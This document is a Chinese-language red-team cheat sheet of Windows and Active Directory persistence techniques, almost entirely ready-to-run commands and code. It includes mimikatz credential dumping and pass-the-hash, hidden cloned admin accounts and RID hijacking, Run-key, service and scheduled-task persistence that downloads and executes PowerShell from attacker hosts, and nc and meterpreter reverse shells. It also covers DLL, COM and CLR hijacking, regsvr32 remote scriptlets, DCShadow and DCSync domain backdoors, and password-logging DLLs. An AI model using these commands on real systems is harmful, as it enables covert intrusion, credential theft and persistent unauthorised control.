位置C:\Users\用戶名\AppData\Local\Microsoft\Credentials查看命令>cmdkey /list>mimikatz log#dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\D53BF8DC4D52D75463D46595907A4015記錄guidMasterKey: {572115f2-80b1-4b1e-be1b-425f5c7a8bfd}#privilege::debug#sekurlsa::dpapi找到GUID為guidMasterKey的值下面的MasterKey: d928f5e02d2e9495f92bb…#dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\D53BF8DC4D52D75463D46595907A4015 /masterkey: d928f5e02d2e9495f92bb…密碼為CredentialBlob值。

後門&持久化影子用戶
>net user test$ test /add>net localgroup administrators test$ /add註冊表HKEY_LOCAL_MACHINE\SAM\SAM\給予administrator SAM的完全控制和讀取的權限以下導出為1.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$記錄HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$的默認類型000003EA以下導出為2.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA默認administrator默認類型為000001F4以下導出為3.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4把000001F4(3.reg)的F值粘貼到000003EA(2.reg)的F值修改後導入>regedit /s 1.reg>regedit /s 2.reg刪除net user test$ /delPowershell腳本https://github.com/3gstudent/Windows-User-Clone/blob/master/Windows-User-Clone.ps1需system權限>Create-Clone -u 要創建的 -p 密碼 -cu 想要克隆的

RID劫持
利用場景:激活guest修改rid為管理員的修改低權限用戶rid劫持rid之前普通用戶1的rid值

使用msf的post/windows/manage/rid_hijack模塊

運行後可以看到已經變為超管的rid值

此時普通用戶1登錄系統是為超管權限

Guest激活

激活來賓帳戶,修改其密碼,加入administrators組

>net user guest /active:yes>net user guest 123qwe!@>net localgroup administrators guest /ad

映像劫持Sethc
>move sethc.exe 1.exe>copy cmd.exe sethc.exe5下shift調用cmd

輕鬆使用

註冊表

計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\新建Utilman.exe,新建字符串值Debugger,指定為C:\Windows\System32\cmd.exe> REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

IFEO靜默執行
計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe 新建DWORD值GlobalFlag 16進位為200創建:計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe字符串值:MonitorProcess=muma.exeDWORD值ReportingMode=1>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1  /f>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

註冊表啟動項
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

MSF
添加一個監聽Meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'查詢是否添加成功Meterpreter> reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v ncMeterpreter> reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run開啟防火牆進站規則> netsh firewall add portopening TCP 444 "name" ENABLE ALL重啟> shutdown -r -t 0


CMD
查看註冊表啟動項>REG query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"添加啟動項>REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "windowsupdate" /t REG_SZ /F /D "c:\windows\temp\update.exe"刪除啟動項>REG delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "windowsupdate" /f


計劃任務加載powershell
>schtasks /Create /tn 名字 /tr 運行程序 /sc hourly /mo 1>schtasks /create /S TARGET /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.0.107:8080/Invoke-PowerShellTcp.ps1''')'"

執行exe

創建計劃任務

>schtasks /create /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\update.exe" /sc DAILY /mo 1 /ST 12:25 /RU SYSTEM查看計劃任務>schtasks /query | findstr "windowsupdate"立即執行某項計劃任務>schtasks /run /tn "windowsupdate"刪除某項計劃任務>schtasks /delete /F /tn "windowsupdate"普通用戶權限計劃任務>schtasks /create /F /tn "windowsupdate" /tr "D:\user\zhangsan\file\windowsupdate.exe" /sc DAILY /mo 1 /ST 12:25 >schtasks /query | findstr "windowsupdate" >schtasks /run /tn "windowsupdate" >schtasks /delete /F /tn "windowsupdate" >schtasks /tn "SysDebug" /query /fo list /v


進程注入AppCertDlls
註冊表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\下新建AppCertDlls,新建名字為Default,值為c:\1.dll的項#msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 –f dll >/root/1.dllMsf>use exploit/multi/handlerMsf>set payload windows/meterpreter/reverse_tcphttps://cdn.securityxploded.com/download/RemoteDLLInjector.zip> RemoteDLLInjector64.exe PID c:\1.dll

AppInit_DLLs
註冊表HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls下AppInit_DLLs設置為c:\1.dll,LoadAppInit_DLLs設置為1

MSF
Msf>use post/windows/manage/reflective_dll_injectMsf>set session 1Msf>set pid 1234Msf>set path c:\\1.dllMsf>run&migrate +pid&Meterpreter>run post/windows/manage/migrate

登錄初始化
計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下添加Userinit值>Powershell.exe Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,c:\muma.exe"計算機\HKEY_CURRENT_USER\Environment創建鍵值UserInitMprLogonScript值為c:\muma.exe&Powershell實現:>Set-ExecutionPolicy RemoteSigned 保存ps1執行Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');"

屏幕保護程序
計算機\HKEY_CURRENT_USER\Control Panel\DesktopSCRNSAVE.EXE - 默認屏幕保護程序,改為惡意程序(設置備份)ScreenSaveActive - 1表示屏幕保護是啟動狀態,0表示表示屏幕保護是關閉狀態ScreenSaverTimeout - 指定屏幕保護程序啟動前系統的空閒事件,單位為秒,默認為900(15分鐘)

MOF
>git clone https://github.com/khr0x40sh/metasploit-modules.git>mv metasploit-modules/persistence/mof_ps_persist.rb /usr/share/metasploit-framework/modules/post/windows/>reload_all>use post/windows/mof_ps_persist>set payload windows/x64/meterpreter/reverse_tcp>set lhost 192.168.0.108>set lport 12345>set session 1>run


>use exploit/multi/handler>set payload windows/x64/meterpreter/reverse_tcp>set lhost 192.168.0.108>set lport 12345>set exitonsession false


重啟後還會上線

清除後門,進入meterpreter,resource 生成的rc文件

停止MOF>net stop winmgmt刪除文件夾:C:\WINDOWS\system32\wbem\Repository\>net start winmgmt

WinRM埠復用
WinRM埠5985,win2012以上默認啟動,2008開啟命令>winrm quickconfig -q2012啟用埠復用>winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}2008啟用WinRM後修改埠為80>winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}後門連接和使用本地開啟WinRM並設置信任連接主機>winrm quickconfig -q>winrm set winrm/config/Client @{TrustedHosts="*"}執行命令>winrs -r:http://10.1.1.100 -u:administrator -p:password ipconfig /all獲取cmdshell>winrs -r:http://10.1.1.100 -u:administrator -p:password cmd


只administrator允許遠程登錄WinRM,允許其他用戶可以登錄,執行註冊表>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

創建服務

重啟維持nc

>sc create ms binpath= "cmd /K start c:\nc\nc64.exe -d 192.168.0.51 4567 -e cmd.exe" start= delayed-auto error= ignore重啟維持psh>sc create ms binpath= "cmd /K start C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -nop -exec bypass -c \"IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/xxx.ps1')\"" start= delayed-auto error= ignore


重啟維持Cobalt strike
配置監聽器,生成web傳遞模塊Powershell腳本

>sc create ms binpath= "cmd /K start C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.107:8080/a'))\"" start= delayed-auto error= ignore

Delay執行大概2分鐘上線

>sc delete ms 卸載服務Powershell>powershell.exe new-service -Name nuoyani -BinaryPathName "C:\WINDOWS\Temp\360.exe" -StartupType Automatic>$c2='new-';$c3='service -Name nuoyani -DisplayName OrderServ -BinaryPathName "C:\accc.exe" -StartupType Automatic'; $Text=$c2+$c3;IEX(-join $Text)


Bitadmin
創建下載任務>bitsadmin /create empire下載的文件設置>bitsadmin /addfile empire %comspec% c:\windows\temp\1.exe設置傳輸時運行的命令,MSFvenom生成dll放入temp目錄>bitsadmin /SetNotifyCmdLine empire cmd.exe "cmd.exe /c rundll32 c:\windows\temp\1.dll,0"(bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://x.com/shell.sct scrobj.dll")啟動任務>bitsadmin /resume empire列出所有用戶的下載任務>bitsadmin /list /allusers /verbose

重啟後也會上線

完成任務

>bitsadmin /complete empire>bitsadmin /cancel <Job> //刪除某個任務>bitsadmin /reset /allusers //刪除所有任務&>bitsadmin /create mission>bitsadmin /addfile mission %comspec% %temp%\cmd.exe>bitsadmin.exe /SetNotifyCmdLine mission regsvr32.exe "/u /s /i:http://192.168.0.107/shell.sct scrobj.dll">bitsadmin /Resume mission


CLR Injection

劫持調用.net程序,開機啟動


WMIC可替換為powershell

New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-NullNew-ItemProperty "HKCU:\Environment\" COR_PROFILER -value "{11111111-1111-1111-1111-111111111111}" -propertyType string | Out-Null
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deletecertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll deleteSET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F添加全局變量計算機\HKEY_CURRENT_USER\EnvironmentCOR_ENABLE_PROFILING=1COR_PROFILER={11111111-1111-1111-1111-111111111111}註冊CLSID計算機\HKEY_CURRENT_USER\Software\Classes\CLSID添加項{11111111-1111-1111-1111-111111111111}和它的子項InprocServer32新建一個鍵ThreadingModel,鍵值為:Apartment,默認鍵值為dll路徑劫持explorer.exe>SET COR_ENABLE_PROFILING=1>SET COR_PROFILER={11111111-1111-1111-1111-111111111111}位置(新建)HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32默認值為惡意DLL新建ThreadingModel值為Apartment



COM OBJECT hijacking
CAccPropServicesClass and MMDeviceEnumerato無需超管權限,無需重啟https:將惡意DLLbase64編碼寫入ps腳本

執行後會在

%appdata%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}目錄釋放2個文件,分別是x86和x64的dll會在註冊表中HKEY_CURRENT_USER\Software\Classes\CLSID\新建{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}和子項默認指向惡意DLL只要指向.net程序便可上線。如ie,mmc等



Explorer
註冊表位置:HKCU\Software\Classes\CLSID\創建項{42aedc87-2188-41fd-b9a3-0c966feabec1}創建子項InprocServer32Default的鍵值為惡意dll的絕對路徑:C:\test\1.dll創建鍵值:ThreadingModel REG_SZ Apartment


HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}

Squibledoo
創建1.sct
<?XML version="1.0"?><scriptlet><registration description="Component" progid="Component.WindowsUpdate" version="1.00" classid="{20002222-0000-0000-0000-000000000002}"></registration> <public> <method name="exec"> </method></public><script language="JScript"> <![CDATA[ function exec(){ new ActiveXObject('WScript.Shell').Run('calc.exe'); } ]]></script></scriptlet>創建COM對象>regsvr32.exe /s /i:http://192.168.0.107/1.sct scrobj.dll觸發>cscript 1.jsvar test = new ActiveXObject("Component.TESTCB");test.exec()

DLL劫持

劫持1
註冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls下添加 "lpk.dll"(若無,自己創建)ExcludeFromKnownDlls可使KnownDLLs失效需要重新啟動電腦查找可劫持的DLL:1.啟動程序2.使用Process Explorer查看該應用程式啟動後加載的DLL。3.從已經加載的DLL列表中,查找在上述「KnownDLLs註冊表項」中不存在的DLL。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs4.編寫第三步中獲取到的DLL的劫持DLL。5.將編寫好的劫持DLL放到該應用程式目錄下,重新啟動該應用程式,檢測是否劫持成功。


Explorer.exe啟動調用winrar文件夾的RarExt.dll
Msf監聽

複製dll文件到the-backdoor-factory文件夾中,加載惡意dll進原dll>python backdoor.py -f RarExt.dll -s reverse_shell_tcp_inline -P 12138 -H 192.168.0.107 指定為kali監聽的IP和埠

生成好的dll在backdoored文件夾,傳入靶機中,替換原dll文件,最好把原dll保存備份。每次打開windows資源管理器的時候,即可上線。重啟可維持



劫持2

使用

https:https:查看要劫持的DLL的函數導出表,會直接生成cpp源碼,重編譯指向惡意代碼DLLHijack_Detecter可查看程序加載的不在KnownDLLs中的DLL


MSDTC服務劫持
服務名稱MSDTC,顯示名稱Distributed Transaction Coordinator對應進程msdtc.exe,位於%windir%system32C:\Windows\System32\wbem\服務啟動搜索註冊表位置計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCIOci.dll放入c:\windows\system32\重啟服務即可>taskkill /f /im msdtc.exe

Rattler
自動化查找可劫持的DLLhttps:使用>Rattler_x64.exe calc.exe 1會列出可被劫持的DLL


按程序讀取DLL位置順序,把惡意DLL放入程序同目錄後,執行程序即可。

DLL代理劫持右鍵
右鍵對應的註冊表路徑是HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers使用autoruns查看加載的DLL


以rarext.dll為例
使用https://github.com/rek7/dll-hijacking創建代理DLL
注意修改parse.py中dumpbin.exe的位置

>python3 parse.py -d rarext.dll

修改原DLL為rarext_.dll,重新生成解決方案命名為rarext.dll
將兩個DLL放入原目錄,重啟

DLL劫持計劃任務
function Invoke-ScheduledTaskComHandlerUserTask{[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]Param ([Parameter(Mandatory = $True)][ValidateNotNullOrEmpty()][String]$Command,
[Switch]$Force)$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){New-Item $ScheduledTaskCommandPath -Force |New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null}else{Write-Verbose "Key already exists, consider using -Force"exit}
if (Test-Path $ScheduledTaskCommandPath) {Write-Verbose "Created registry entries to hijack the UserTask"}else{Write-Warning "Failed to create registry key, exiting"exit} }Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose重啟權限可維持

DLL注入Powershell
生成DLL>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=6666 -f dll -o /var/www/html/x.dll>use exploit/multi/handler>set payload windows/x64/meterpreter/reverse_tcp>Powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.105/powersploit/CodeExecution/Invoke-DllInjection.ps1'); Invoke-DllInjection -ProcessID pid -Dll .\1.dll"

InjectProc

生成DLL#msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f dll -o /var/www/html/qq.dll#use exploit/multi/handler#set payload windows/x64/meterpreter/reverse_tcp使用如下命令注入進程>InjectProc.exe dll_inj qq.dll xx.exe(存在的進程)



通過控制面板加載項維持權限


添加到註冊表中,只要運行control命令打開控制面板即可加載dll

編譯為dll,這裡是彈框測試
#include <Windows.h>#include "pch.h"
extern "C" __declspec(dllexport) LONG Cplapplet( HWND hwndCpl, UINT msg, LPARAM lParam1, LPARAM lParam2){ MessageBoxA(NULL, "inject control panel.", "Control Panel", 0); return 1;}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { Cplapplet(NULL, NULL, NULL, NULL); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs" /v spotless /d "C:\xxx\dll.dll" /f



通過自定義.net垃圾回收機制進行DLL注入

低權限用戶可指定.net應用程式使用自定義垃圾收集器(GC),一個自定義GC可以以COMPLUS_GCName此環境變量指定,只需將此環境變量指向到惡意DLL,自定義GC的DLL需要一個名為GC_VersionInfo的導出表。
下面是個彈框DLL

#include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
struct VersionInfo{ UINT32 MajorVersion; UINT32 MinorVersion; UINT32 BuildVersion; const char* Name;
};
extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info){ info->BuildVersion = 0; info->MinorVersion = 0; info->BuildVersion = 0; MessageBoxA(NULL, "giao", "giao", 0);}



後執行任意.net程序可加載此DLL

當然也可以加載shellcode


Windows FAX DLL Injection
惡意DLL改名為fxsst.dll放置在c:\windows\目錄即可實現對explorer.exe的劫持


DSRM+註冊表ACL後門
>reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2允許DSRM帳戶遠程訪問https://github.com/HarmJ0y/DAMP效果:域內任何用戶可讀取域控hashsystem權限執行>psexec.exe -accepteula -s -i -d cmd.exe域控制器執行PS>Add-RemoteRegBackdoor -ComputerName 域控名 -Trustee 'S-1-1-0' –Verbose


域內機器執行

https:PS> Get-RemoteLocalAccountHash -ComputerName 域控 –Verbose


域控上執行

>reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2


PTH攻擊,mimikatz需以管理員身份啟動

>mimikatz "privilege::debug" "sekurlsa::pth /domain:dc /user:Administrator /ntlm:9f1770aebd442b6b624bdfe9cbc720dd" exit



DCShadow&SID History
http://192.168.0.107/ps/nishang/ActiveDirectory/Set-DCShadowPermissions.ps1DCShadow攻擊是通過更改AD架構,使域內一臺機器偽造成域控。此腳本可以通過修改AD對象提供DCShadow攻擊的最小權限。運行此腳本需要DA(Domain Administrator)權限,可以使指定用戶不需要DA權限使用mimikatz。域控:dc.zone.com域內機器:sub2k8.zone.com域內普通用戶:y域控執行>Set-DCShadowPermissions -Fakedc sub2k8 -Object dc -username y –Verbose註冊sub2k8為假DC,給予用戶y從sub2k8修改dc的計算機對象的權限。



在sub2k8上,以本地system權限啟動一個mimikatz會話,以zone\y權限啟動一個mimikatz會話。

System權限窗口執行dcshadow攻擊,修改dc的計算機屬性
Zone\y權限窗口用於推送
添加域管理
通過修改安全標識符,將域內普通用戶y提升為域管理用戶

>lsadump::dcshadow /object:y /attribute:primaryGroupID /value:512

Zone\y推送
>lsadump::dcshadow /push

此時在域控上查詢可見y用戶已經加入域管理組。

添加SIDHistory後門
記錄域管理SID

>Set-DCShadowPermissions -FakeDC sub2k8 -Object y -Username y -Verbose


>lsadump::dcshadow /object:y /attribute:sidhistory /value:S-1-5-21-2346829310-1781191092-2540298887-500推送>lsadump::dcshadow /push


測試

域控中通過mimikatz命令可查詢到SIDHistory

刪除SIDHistory的方法

PS>Get-ADUser -Filter {name -eq "y"} –Properties sidhistory|foreach {Set-ADuser $_ –remove @{sidhistory="S-1-5-21-2346829310-1781191092-2540298887-500"}}


刪除功能規則
輸入的規則後面加參數-remove即可。


DCSync後門
伺服器管理器找到域->查看->啟用高級功能->右鍵屬性->安全->everyone完全控制>mimikatz.exe "lsadump::dcsync /domain:zone.com /user:administrator" exit


或使用powerview添加一條ACL(域控執行)

>Add-DomainObjectAcl -TargetIdentity "DC=ZONE,DC=COM" -PrincipalIdentity 域內用戶 -Rights DCSync -Verbose


使用此帳戶在域內任意主機可使用mimikatz的dcsync功能導出憑據

移除ACL

>Remove-DomainObjectAcl -TargetIdentity "DC=zone,DC=com" -PrincipalIdentity 用戶 -Rights DCSync -Verbose
Netsh Helper DLLhttps:https:


MSFvenom生成DLL

生成DLL格式木馬

傳至靶機執行命令
>netsh add helper C:\Windows\Temp\help.dll


MSF+web_delivery
關閉netsh權限不會掉,調用的powershell#use exploit/multi/script/web_delivery>set target 2            >set payload windows/x64/meterpreter/reverse_tcp>set lhost 192.168.0.107>set lport 12345


Visual Studio新建空白DLL項目,源文件添加現有文件

https://github.com/rtcrowley/Offensive-Netsh-Helper/blob/master/netshlep.cpp 複製生成的代碼進文件中,配置管理器新建x64位數後生成解決方案,配置類型選擇位動態庫複製DLL到靶機執行


>netsh add helper helper.dll


MSF&Shellcode
關閉netsh後權限會掉https:MSFvenom生成.c格式>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12345 -f c -o /var/www/html/1.cVisual Studio打開項目若系統是64位需設置配置管理器為64位項目,反之32(解決方案右鍵屬性)


將MSF生成shellcode粘貼進相應位置後生成解決方案。

會在項目目錄x64/Release下生成dll
複製DLL到靶機system32目錄下,執行命令

>netsh add helper C:\Windows\System32\NetshHelperBeacon.dll


只要啟動netsh就會觸發


MSSQL後門

註冊表自啟動

>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/PowerUpSQL.ps1');Get-SQLPersistRegRun -Verbose -Name Update -Command 'c:\windows\temp\Update.exe' -Instance "zone.com\sub2k8""重啟MSSQL上線(需重啟服務)http://192.168.0.107/ps/Powershellery/Stable-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psm1>powershell -ep bypass >IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Powershellery/Stable-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psm1') >Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "zone.com\sub2k8" -PsCommand "IEX(new-object net.webclient).downloadstring('http://192.168.0.107/xxxx')" 遠程木馬腳本可用CS/Empire生成>net stop mssqlserver>net start mssqlserver映像劫持>powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/PowerUpSQL.ps1');Get-SQLPersistRegDebugger -Verbose -FileName sethc.exe -Command "c:\windows\system32\cmd.exe" -Instance "zone.com\sub2k8""DDL事件觸發>powershell -exec bypass >IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/Invoke-SqlServer-Persist-TriggerDDL.psm1') >Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "zone\sub2k8" -PsCommand "IEX(new-object net.webclient).downloadstring('http://192.168.0.107/xxxx')"  遠程木馬文件可用CS/Empire生成>Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance " zone\sub2k8" -Remove   移除後門


NSSM
http:NSSM封裝可執行程序為系統服務>nssm install 服務名稱會自動彈出設置



Path選擇powershell的路徑,arguments直接輸入參數。
啟動服務


會上線

重啟電腦,權限也會維持
刪除服務

>nssm remove <servicename>



添加籤名
https://github.com/secretsquirrel/SigThief>python sigthief.py -i 被竊取的文件 -t 要添加籤名的惡意文件 -o 保存文件>python sigthief.py -i rarext.dll -t rarextdwa.dll -o 1.dll


Metsvc
Meterpreter> run metsvc -A在C:Windows\TEMP下隨機生成目錄三個文件,創建服務metsvc 31337埠連接後門Msf>use exploit/multi/handlerMsf>set payload windows/metsvc_bind_tcpMsf>set rhost 192.168.1.2Msf>set rport 31337Msf>run刪除服務Meterpreter > run metsvc –r



Persistence
Meterpreter>run persistence -X -i 10 -r 192.168.1.9 -p 4444-X系統啟動時運行-i每隔10秒嘗試連接服務端連接後門Msf>use exploit/multi/handlerMsf>set payload windows/meterpreter/reverse_tcpMsf>set lhost 192.168.1.1Msf>set lport 4444Msf>run



HookPasswordChangeNotify
使用VS2015開發環境,MFC設置為在靜態庫中使用MFC編譯工程,生成HookPasswordChange.dllhttps://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1在代碼尾部添加如下代碼:>Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass並命名為HookPasswordChangeNotify.ps1上傳HookPasswordChangeNotify.ps1和HookPasswordChange.dll管理員權限執行>PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1C:\Windows\Temp下可以找到passwords.txt&https://gitee.com/RichChigga/PasswordchangeNotify上傳HookPasswordChangeNotify.ps1和HookPasswordChange.dll 管理員權限執行:>PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1在C:\Windows\System32 新建文件system.ini第一行是連接的ip 第二行是埠



Password Filter DLL
https:visualstudio生成解決方案DLL放在%windir%\system32\下HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的Notification Packages,添加Win32Project3


>REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages">REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0rassfm\0Win32Project3" /f重啟之後只要修改用戶的密碼,即可記錄



文件默認在C盤根目錄,可在源碼中修改


WMIC事件訂閱
每隔30秒加載一次payload>wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'">wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23",CommandLineTemplate="遠程調用(powershell,regsvr32,mshta等)">wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""


重啟維持
卸載後門

>Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose>Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose>Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose


WMI-Persistence
https:cobalt strike ->payload generator->powershell(use x64)



attack->文件下載,文件選擇payload generator的腳本,local uri為隨意文件

生成後地址替換進WMI-Persistence腳本內

